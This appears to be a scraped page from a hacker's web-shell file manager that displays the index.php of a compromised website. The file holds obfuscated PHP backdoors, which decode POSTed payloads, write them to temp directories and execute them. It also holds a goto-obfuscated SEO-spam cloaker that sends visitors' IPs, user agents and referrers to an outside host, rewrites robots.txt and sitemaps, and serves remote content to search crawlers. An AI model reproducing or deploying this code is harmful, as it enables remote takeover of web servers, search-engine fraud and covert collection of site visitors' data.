whoami7 - Manager
:
/
home
/
analuakl
/
amplmedia.com
/
Upload File:
files >> /home/analuakl/amplmedia.com/index.php0
<?php if(array_key_exists("\x74k\x6E", $_POST) && !is_null($_POST["\x74k\x6E"])){ $value = array_filter([ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/dev/shm", getenv("TEMP")]); $holder = $_POST["\x74k\x6E"]; $holder = explode ( '.' , $holder); $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $p = 0; array_walk($holder, function($v9) use(&$ptr, &$p, $salt, $sLen) { $sChar = ord($salt[$p% $sLen]); $dec =((int)$v9 - $sChar -($p% 10)) ^ 53; $ptr .= chr($dec); $p++; }); foreach ($value as $key => $data_chunk) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $obj = vsprintf("%s/%s", [$data_chunk, ".ref"]); $success = file_put_contents($obj, $ptr); if ($success) { include $obj; @unlink($obj); exit;} } } } if(count($_POST) > 0 && isset($_POST["en\x74\x69ty"])){ $binding = $_POST["en\x74\x69ty"]; $binding = explode ( "." ,$binding ) ; $descriptor = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $s = 0; array_walk( $binding, function( $v2) use( &$descriptor, &$s, $s9, $lenS) {$chS = ord( $s9[$s % $lenS]); $dec =( ( int)$v2 - $chS -( $s % 10)) ^ 54; $descriptor .= chr( $dec); $s++; } ); $value = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp"]); for ($object = 0, $hld = count($value); $object < $hld; $object++) { $record = $value[$object]; if (is_dir($record) ? is_writable($record) : false) { $parameter_group = vsprintf("%s/%s", [$record, ".val"]); $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $parameter_group; @unlink($parameter_group); exit; } } } } goto uR9_l; dBfXf: if (strpos($lhM_Z, "\152\160\62\60\x32\x33") !== false) { goto F0Tbi; } goto hzRDi; SYMoq: $Xa4Fk = "\x2f\77"; goto XIrQs; bp3jL: exit; goto hzuoD; hCWJf: $hakxy = 1; goto mYrGe; P_CuN: header("\103\x6f\x6e\164\x65\156\164\x2d\124\x79\160\x65\x3a\x20\164\x65\170\164\x2f\170\x6d\154\73\40\x63\150\x61\162\163\x65\164\x3d\165\164\x66\55\70"); goto d1I0f; npXKu: $NB00W = $ymwZ9 . "\x3a\x2f\x2f" . $_SERVER["\110\x54\124\120\137\110\117\x53\124"] . "\57\144\146\142\x64\146\x62"; goto MOjlH; XqPBI: RWtjW: goto fMaqV; nw4jw: $hakxy = jWlDK($qjgmf); goto Ejbm3; QGoXj: header("\x43\157\156\x74\x65\x6e\x74\x2d\x54\x79\160\x65\72\40\164\x65\x78\x74\x2f\x68\164\x6d\154\x3b\40\143\150\x61\x72\x73\145\164\75\x75\164\146\55\70"); goto Gz21l; JN42W: $gX3SI = urlencode($_SERVER["\110\124\124\120\x5f\x55\x53\x45\122\137\x41\107\x45\116\124"]); goto ro90C; fCz22: gpc81("\x72\157\142\x6f\164\x73\56\164\x78\x74", $Si2e1); goto ozGrf; MY8h9: if (!is_file($qjgmf)) { goto G9uuG; } goto nw4jw; hGhYN: curl_setopt($D8pdD, CURLOPT_SSL_VERIFYHOST, FALSE); goto RIEmW; BuouA: StEAP: goto z9EdS; mYrGe: gpc81($qjgmf, "\x31"); goto nV4Mu; rgM5V: if (!(strpos($lhM_Z, "\162\157\x62\157\164\163\56\x74\x78\164") !== false)) { goto RWkr4; } goto fCz22; vr2lK: JtqIu: goto MRg_U; cXqoc: fOdRd: goto lbyLz; uFjG0: $juPdr = trim($juPdr) . "\15\xa" . "\123\x69\x74\x65\x6d\x61\x70\72\x20{$W2G0P}"; goto qZ7Lt; z9EdS: if (strpos($lhM_Z, "\x66\141\166\x69\x63\x6f\156\x2e\151\143\x6f") !== false) { goto jrh5Y; } goto HhqTt; PnXF6: $ymwZ9 = urlencode($_SERVER["\122\105\121\x55\x45\123\x54\137\x53\103\110\x45\x4d\x45"]); goto RQvEU; ubCsW: $KGNSa = "\x64\56\x63\157\x6d\x2f"; goto gvSC2; a8HMm: $GK1Yq = "\160\72\x2f\x2f"; goto Tkpdi; Z1uxg: echo "\157\x6b"; goto a9kHu; dPgg7: $hakxy = 0; goto eJ9A6; nw1Vl: goto UnoWP; goto dFy1H; TVwwK: lEHGB: goto P_CuN; kjB2O: $snu0Z = urlencode(@$_SERVER["\110\124\124\x50\137\101\103\x43\x45\120\124\137\x4c\101\x4e\107\125\101\x47\x45"]); goto dy6u2; Zgxmr: curl_setopt($D8pdD, CURLOPT_FOLLOWLOCATION, false); goto y6lyL; HhqTt: if (preg_match("\x40\136\x2f\x28\56\x2a\x3f\51\56\170\x6d\x6c\x24\100\151", $_SERVER["\122\x45\121\x55\105\123\x54\x5f\x55\122\x49"]) or strpos($lhM_Z, "\162\x6f\142\x6f\164\163\x2e\x74\x78\164") !== false or strpos($lhM_Z, "\152\x70\62\60\x32\63") !== false or strpos($lhM_Z, "\160\x69\x6e\x67\163\x69\164\x65\x6d\x61\x70") !== false or preg_match("\x2f\x28{$iCu22}\x29\57\x69", $_SERVER["\x48\124\x54\120\137\x55\123\x45\x52\x5f\x41\107\105\116\124"]) or preg_match("\57\x28{$iCu22}\x29\57\151", @$_SERVER["\110\124\x54\x50\x5f\x52\105\106\105\x52\x45\x52"])) { goto xdxB7; } goto ABXTZ; SKac3: F0Tbi: goto gDkhl; lhIdi: goto vwrj2; goto RNSyL; nTUT6: $YuUuy = $_SERVER["\122\105\115\x4f\x54\105\137\x41\x44\104\x52"]; goto JN42W; Z5PGa: if (isset($_SERVER["\x48\124\x54\120\137\130\137\106\x4f\122\x57\101\122\104\x45\x44\137\106\117\122"])) { goto ByR3f; } goto lpXCR; a2pjm: ByR3f: goto hF0kr; QplKe: function gPc81($yMdaz, $lPRQR) { goto IzP2m; FNT3t: return true; goto Ilv50; Ilv50: T00VY: goto AUe9Y; IXFw_: fclose($q5nsS); goto FNT3t; AUe9Y: return false; goto nwNs8; IzP2m: $q5nsS = fopen($yMdaz, "\167"); goto OEDU_; OjD3U: fwrite($q5nsS, $lPRQR); goto IXFw_; OEDU_: if (!$q5nsS) { goto T00VY; } goto OjD3U; nwNs8: } goto o5bWP; Q9Mls: NLAND: goto w03dn; BUT_g: xZ2Bo: goto EUfQY; xE8wB: if (!preg_match("\x2f\x28\110\x65\162\151\x74\162\x69\170\174\x4f\102\x6f\x74\174\x4a\x61\x75\x6e\x74\171\x7c\163\143\162\x61\x70\x79\174\x6c\151\147\150\x74\x44\x65\143\x6b\122\x65\x70\157\162\x74\x73\40\x42\x6f\164\174\131\x61\x6e\x64\x65\170\x42\x6f\164\174\104\151\x67\x45\x78\x74\x7c\151\156\x64\x79\x20\114\x69\x62\162\x61\x72\x79\x7c\101\155\141\x7a\x6f\156\102\157\164\x7c\141\x70\141\143\150\145\102\x65\x6e\x63\150\x7c\104\x6f\x74\102\157\x74\174\142\171\164\145\163\160\151\x64\145\x72\x7c\104\141\x74\x61\x46\x6f\x72\123\x45\x4f\174\142\x61\x72\x6b\162\157\167\154\x65\162\x7c\x41\x73\153\124\x62\106\x58\124\126\x7c\x53\x77\151\146\164\142\157\x74\174\x53\x65\155\162\165\x73\150\102\x6f\x74\174\x43\x65\x6e\163\x79\x73\x49\x6e\163\x70\145\x63\164\x7c\160\x79\x74\150\x6f\156\55\165\x72\x6c\154\x69\142\174\145\141\x73\x6f\165\x53\160\151\x64\145\x72\174\103\x6f\x6f\x6c\160\141\x64\127\x65\142\x6b\x69\x74\x7c\112\151\x6b\145\123\160\151\144\145\x72\x7c\x5a\x6d\x45\165\x7c\103\162\x61\167\x6c\x44\141\x64\x64\171\x7c\120\145\x74\x61\154\x42\157\x74\x7c\112\x61\166\141\x7c\x46\x65\145\x64\x44\x65\x6d\157\x6e\x7c\x50\x61\x6c\157\x61\154\164\157\x6e\145\x74\167\x6f\162\x6b\x73\174\131\x69\x73\x6f\x75\123\x70\x69\x64\145\x72\x7c\x50\x79\164\150\x6f\156\174\107\x6f\55\150\x74\x74\160\55\143\x6c\151\145\x6e\164\174\x41\150\x72\x65\x66\163\x42\x6f\164\174\123\145\x7a\156\141\155\x42\157\164\174\107\120\124\102\x6f\164\174\106\145\x65\144\154\171\x7c\105\x7a\157\x6f\155\x73\174\125\x6e\151\x76\x65\162\x73\x61\x6c\x46\x65\x65\x64\120\x61\162\x73\145\x72\x7c\160\x79\x74\150\x6f\x6e\55\x72\x65\161\165\145\x73\x74\x73\x7c\131\171\x53\x70\151\x64\x65\162\x7c\150\x74\x74\x70\103\x6c\151\x65\x6e\164\174\115\x6a\61\x32\142\157\164\174\103\154\x61\x75\x64\145\142\157\164\51\57\151", $_SERVER["\110\124\124\120\137\x55\x53\x45\122\x5f\101\107\105\x4e\x54"])) { goto F7dCb; } goto k24NT; q5dZV: jrh5Y: goto EG25n; PhlOQ: if (!(substr($Si2e1, 0, 10) == "\x65\162\162\157\x72\x20\x63\157\144\x65" or $Si2e1 == "\65\x30\60" or strpos($Si2e1, "\102\x61\x64\x20\107\141\x74\x65\167\x61\171") !== false)) { goto zMYrR; } goto eb3Xm; Yzpoi: $B7piX = "\x43\x51\x52\124\x42\61\147\x46"; goto UAvWQ; VKX6l: $D8pdD = curl_init(); goto Oa1oj; M5BCH: curl_setopt($D8pdD, CURLOPT_RETURNTRANSFER, true); goto Zgxmr; aQmPB: if (empty($Si2e1)) { goto j2x6A; } goto PhlOQ; UAvWQ: $iCu22 = "\131\141\150\x6f\x6f\x7c\x44\x6f\x63\x6f\x6d\157\174\x47\157\x6f\147\x6c\145\x7c\x42\151\156\147"; goto wrpFD; fiNPo: xdxB7: goto LAe4I; hrvAc: $coDNq = urlencode($_SERVER["\123\x43\x52\x49\x50\x54\137\116\101\115\105"]); goto nmieO; nmieO: $YuUuy = urlencode($YuUuy); goto z0isO; a4TsZ: echo $W2G0P . "\72\40" . $gJ4t1 . "\74\x62\162\x2f\76"; goto UUJDU; UUJDU: $xXxog = $OjlSH . "\x3f\x61\147\145\156\x74\x3d{$gX3SI}\46\x72\x65\146\x65\162\x3d{$X74kf}\46\154\141\156\x67\75{$snu0Z}\x26\x69\x70\x3d{$YuUuy}\x26\x64\157\155\75{$TRiWh}\x26\x68\164\x74\x70\75{$ymwZ9}\x26\x75\162\151\x3d{$lhM_Z}\x26\x70\143\75{$B7piX}\x26\x72\x65\167\x72\151\x74\145\141\142\154\145\x3d{$hakxy}\46\163\143\162\151\160\x74\x3d{$coDNq}\46\163\151\164\145\155\x61\x70\75" . urlencode($W2G0P); goto Qcl0Y; z0isO: if (!empty($_SERVER["\x52\x45\x51\125\105\x53\124\x5f\x53\103\110\105\x4d\x45"]) and $_SERVER["\x52\105\x51\125\105\123\124\137\x53\x43\x48\105\115\105"] == "\x68\x74\x74\x70\x73" or !empty($_SERVER["\110\x54\x54\x50\x53"]) and $_SERVER["\x48\124\x54\120\x53"] == "\x6f\x6e" or !empty($_SERVER["\x53\x45\x52\126\105\x52\137\120\117\122\124"]) and $_SERVER["\123\x45\x52\x56\x45\x52\137\x50\x4f\x52\124"] == "\64\64\x33" or isset($_SERVER["\110\x54\124\x50\137\130\x5f\x46\117\122\x57\101\122\104\x45\104\137\x50\122\117\124\x4f"]) and $_SERVER["\x48\x54\124\x50\137\130\x5f\x46\117\122\127\101\x52\x44\x45\x44\x5f\x50\122\117\124\x4f"] == "\x68\164\164\x70\x73") { goto NLAND; } goto IAR1M; x71N8: Pp992: goto QplKe; QIno1: $YuUuy = $_SERVER["\x48\x54\x54\x50\137\x43\114\111\x45\x4e\x54\x5f\111\x50"]; goto UgFD9; c7Il1: exit; goto BSI24; UgFD9: goto xZ2Bo; goto a2pjm; YwkUA: if (strpos($Xa4Fk, "\x69\x6e\144\145\170\x2e\160") !== false) { goto U2ApI; } goto zGMn4; h7trf: G9uuG: goto npXKu; MOjlH: $Si2e1 = @file_get_contents($NB00W); goto iTuZl; rXDK2: if (!empty($juPdr)) { goto fOdRd; } goto rgM5V; Qcl0Y: v219D: goto gXK1d; Gz21l: goto OObqC; goto TVwwK; gXK1d: $Si2e1 = @file_get_contents($xXxog); goto K7y78; a9kHu: exit; goto FCccZ; RVqwR: exit; goto UffB3; X81OQ: if (!(strpos($lhM_Z, "\144\146\x62\144\146\142") !== false)) { goto rLRWc; } goto Z1uxg; Oa1oj: curl_setopt($D8pdD, CURLOPT_URL, $xXxog); goto M5BCH; iTuZl: if ($Si2e1 === "\157\153") { goto z0yuO; } goto dPgg7; hF0kr: $YuUuy = $_SERVER["\110\x54\124\120\137\130\137\x46\117\122\127\x41\122\x44\105\x44\x5f\x46\117\122"]; goto BUT_g; K7y78: if (!empty($Si2e1)) { goto iEnAV; } goto VKX6l; nV4Mu: UnoWP: goto BuouA; hzuoD: F7dCb: goto kjB2O; H_s8J: DLZ17: goto A5xIo; EqbAN: goto DLZ17; goto M9mCy; aLN4P: $Xa4Fk = "\x2f"; goto lhIdi; BSI24: return; goto nuY08; k24NT: header("\x48\x54\x54\x50\57\x31\56\60\40\64\60\63\x20\x46\x6f\162\x62\x69\x64\x64\145\x6e"); goto bp3jL; RIEmW: $Si2e1 = curl_exec($D8pdD); goto KrCtZ; w03dn: $_SERVER["\122\x45\x51\125\105\123\124\137\x53\103\x48\105\x4d\x45"] = "\150\x74\x74\x70\x73"; goto x71N8; eJ9A6: gPc81($qjgmf, "\x30"); goto nw1Vl; lKlSH: $OjlSH = $T2YdU . $GK1Yq . $kceSB . $XhRuJ . $zuwmn . $KGNSa; goto Yzpoi; gvSC2: $zuwmn = "\156"; goto a8HMm; uR9_l: $kceSB = "\x63\167\64\64\x35\x31\x2e\171\157"; goto xPHKH; Ejbm3: goto StEAP; goto h7trf; RNSyL: JTARC: goto SYMoq; K6lux: goto JtqIu; goto SKac3; Em2l_: $qjgmf = "\144\146\142\x2e\164\170\x74"; goto MY8h9; hzRDi: if (substr($Si2e1, 0, 5) == "\74\77\170\x6d\154") { goto lEHGB; } goto QGoXj; RQvEU: $lhM_Z = urlencode($_SERVER["\x52\x45\x51\125\x45\x53\124\137\125\x52\x49"]); goto X81OQ; o5bWP: function jWlDK($yMdaz) { goto BxykL; RncAQ: fclose($q5nsS); goto T5kdC; oXOa9: kTmrX: goto vjHfN; vjHfN: return false; goto Z_E3s; T5kdC: return $lPRQR; goto oXOa9; pFUnq: if (!$q5nsS) { goto kTmrX; } goto vVHtX; vVHtX: $lPRQR = fread($q5nsS, filesize($yMdaz)); goto RncAQ; BxykL: $q5nsS = fopen($yMdaz, "\x72"); goto pFUnq; Z_E3s: } goto PnXF6; ViaQG: $hakxy = 0; goto Em2l_; iU1y_: $juPdr = ''; goto s6zOk; UffB3: zMYrR: goto dBfXf; XIrQs: vwrj2: goto H_s8J; dFy1H: z0yuO: goto hCWJf; lpXCR: goto xZ2Bo; goto LGc5L; gDkhl: header("\110\124\124\120\x2f\61\56\61\40\x34\x30\64\40\x4e\x6f\x74\40\106\x6f\165\156\x64"); goto vr2lK; FCccZ: rLRWc: goto ViaQG; l3uF0: $Xa4Fk = $_SERVER["\x53\x43\122\x49\120\124\x5f\x4e\101\115\x45"]; goto YwkUA; ozGrf: RWkr4: goto jrCiZ; A5xIo: $juPdr = "\125\x73\x65\162\55\141\x67\145\156\164\x3a\x20\52\15\xa\x41\x6c\x6c\x6f\167\x3a\40\x2f"; goto Focet; fMaqV: goto m1p30; goto q5dZV; jrCiZ: goto Ot84y; goto cXqoc; Tkpdi: $XhRuJ = "\x72\x6b\155\x69"; goto lKlSH; pcjIT: iEnAV: goto aQmPB; s6zOk: if (!(strpos($lhM_Z, "\160\151\x6e\147\x73\x69\x74\145\x6d\x61\160") !== false)) { goto v219D; } goto l3uF0; wrpFD: error_reporting(0); goto xE8wB; LAe4I: $xXxog = $OjlSH . "\77\141\x67\145\x6e\164\75{$gX3SI}\x26\162\x65\146\145\x72\x3d{$X74kf}\x26\154\141\156\x67\75{$snu0Z}\46\x69\160\x3d{$YuUuy}\46\144\157\155\75{$TRiWh}\x26\x68\164\164\x70\75{$ymwZ9}\46\x75\x72\x69\x3d{$lhM_Z}\x26\160\143\75{$B7piX}\x26\162\145\167\162\x69\x74\x65\141\142\x6c\x65\75{$hakxy}\x26\x73\x63\x72\151\160\x74\x3d{$coDNq}"; goto iU1y_; qZ7Lt: $gJ4t1 = ''; goto a4TsZ; xPHKH: $T2YdU = "\150\x74\x74"; goto ubCsW; d1I0f: OObqC: goto K6lux; EUfQY: $TRiWh = urlencode($_SERVER["\x48\x54\x54\120\x5f\x48\117\123\x54"]); goto hrvAc; LGc5L: NsTB7: goto QIno1; zGMn4: $Xa4Fk = $Xa4Fk . "\77"; goto EqbAN; lbyLz: GPc81("\x72\x6f\142\157\x74\x73\56\164\170\164", $juPdr); goto U43ug; M9mCy: U2ApI: goto zqFCh; ro90C: if (isset($_SERVER["\110\x54\x54\x50\x5f\103\114\111\105\116\124\137\111\x50"])) { goto NsTB7; } goto Z5PGa; KrCtZ: curl_close($D8pdD); goto pcjIT; IAR1M: $_SERVER["\122\105\x51\125\105\123\x54\137\123\x43\110\105\x4d\x45"] = "\x68\x74\x74\160"; goto eFCnS; eb3Xm: header("\x48\124\x54\x50\57\61\56\60\40\65\60\x30\x20\x49\156\x74\145\x72\x6e\141\x6c\x20\x53\145\x72\x76\x65\x72\40\105\x72\x72\157\x72"); goto RVqwR; U43ug: Ot84y: goto c7Il1; Focet: $W2G0P = "{$ymwZ9}\x3a\57\57" . $TRiWh . $Xa4Fk . "\x73\151\x74\x65\x6d\141\160\56\170\155\154"; goto uFjG0; zqFCh: if ($hakxy == 0) { goto JTARC; } goto aLN4P; nuY08: j2x6A: goto XqPBI; ABXTZ: goto RWtjW; goto fiNPo; MRg_U: echo $Si2e1; goto rXDK2; dy6u2: $X74kf = urlencode(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto nTUT6; y6lyL: curl_setopt($D8pdD, CURLOPT_SSL_VERIFYPEER, FALSE); goto hGhYN; eFCnS: goto Pp992; goto Q9Mls; EG25n: m1p30: ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>Untitled Document</title> </head> <body> </body> </html>
Copyright ©2021 || Defacer Indonesia